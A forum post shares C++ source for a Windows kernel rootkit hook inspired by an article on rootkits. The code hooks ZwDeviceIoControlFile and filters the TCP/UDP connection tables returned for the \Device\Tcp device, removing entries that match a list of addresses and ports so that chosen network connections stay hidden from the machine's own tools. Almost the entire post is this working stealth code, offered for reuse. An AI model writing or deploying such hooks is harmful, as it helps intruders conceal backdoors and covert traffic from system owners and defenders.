By: akcom
after reading HolyFather's article on rootkits, i wrote a hook to hide connections. I've noticed a few people saying that the already available ones are buggy, so heres my hook (in C++, minor modifications would make it c compatible)
typedef struct _GENERIC_RECORD
{
ULONG entry1; //state on tcp, local addr on udp
ULONG entry2; //local addr on tcp, local port on udp
ULONG entry3; //local port on tcp
ULONG entry4; //remote addr on tcp
ULONG entry5; //remote port on tcp
} GENERIC_RECORD, *PGENERIC_RECORD;
NTSTATUS
NTAPI
NewZwDeviceIoControlFile(
IN HANDLE FileHandle,
IN HANDLE Event OPTIONAL,
IN PIO_APC_ROUTINE ApcRoutine OPTIONAL,
IN PVOID ApcContext OPTIONAL,
OUT PIO_STATUS_BLOCK IoStatusBlock,
IN ULONG IoControlCode,
IN PVOID InputBuffer OPTIONAL,
IN ULONG InputBufferLength,
OUT PVOID OutputBuffer OPTIONAL,
IN ULONG OutputBufferLength
)
{
NTSTATUS ntRes = ((ZWDICF)OldZwDeviceIoControlFile)(
FileHandle,
Event,
ApcRoutine,
ApcContext,
IoStatusBlock,
IoControlCode,
InputBuffer,
InputBufferLength,
OutputBuffer,
OutputBufferLength
);
if (!NT_SUCCESS(ntRes))
{
return ntRes;
}
if (IoControlCode != 0x120003)
{
return ntRes;
}
POBJECT_NAME_INFORMATION ObjectName;
char ObjectNameBuf[512];
ULONG ReturnLen;
ObjectName = (POBJECT_NAME_INFORMATION)ObjectNameBuf;
ObjectName->Name.MaximumLength = 500;
ZwQueryObject( FileHandle, ObjectNameInfo, ObjectName, sizeof(ObjectNameBuf), &ReturnLen );
char ObjectNameMBS[261];
wcstombs(ObjectNameMBS, ObjectName->Name.Buffer, sizeof(ObjectNameMBS));
if (stricmp(ObjectNameMBS, "\\Device\\Tcp") != 0)
{
return ntRes;
}
PBYTE input = (PBYTE)InputBuffer;
if (InputBufferLength < 17)
{
return ntRes;
}
bool tcp = false;
/*
if its tcp, then the first item is
state, which we need to ignore
*/
ULONG recordSize = 0;
if (input[0] == 0x00)
{
tcp = true;
recordSize = sizeof(MIB_TCPROW);
//tcp
if (input[16] == 0x02)
{
//extended
recordSize += 4;
}
}
else
{
//udp
recordSize = sizeof(MIB_UDPROW);
//extended
if (input[16] == 0x02)
{
recordSize += 4;
}
}
ULONG entryCount = IoStatusBlock->Information / recordSize;
bool done;
PGENERIC_RECORD data = (PGENERIC_RECORD)OutputBuffer;
ULONG i;
ULONG ip;
USHORT port;
i = 0;
while (i < entryCount)
{
ip = tcp ? data->entry2 : data->entry1;
port = (USHORT)(tcp ? data->entry3 : data->entry2);
// i use a linked list of records to hide,
// just replace this with your comparison
if (
matchesConMask( ip, port, g_ConList )
)
{
//local stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
// i use a linked list of records to hide,
// just replace this with your comparison
if (tcp && matchesConMask( data->entry4, (USHORT)data->entry5, g_ConList ) )
{
//remote stuff
hideEndPoint( (PGENERIC_RECORD)OutputBuffer, entryCount, i, recordSize );
IoStatusBlock->Information -= recordSize;
entryCount--;
}
else
{
data = (PGENERIC_RECORD)(((char *)data) + recordSize);
i++;
}
}
return ntRes;
}
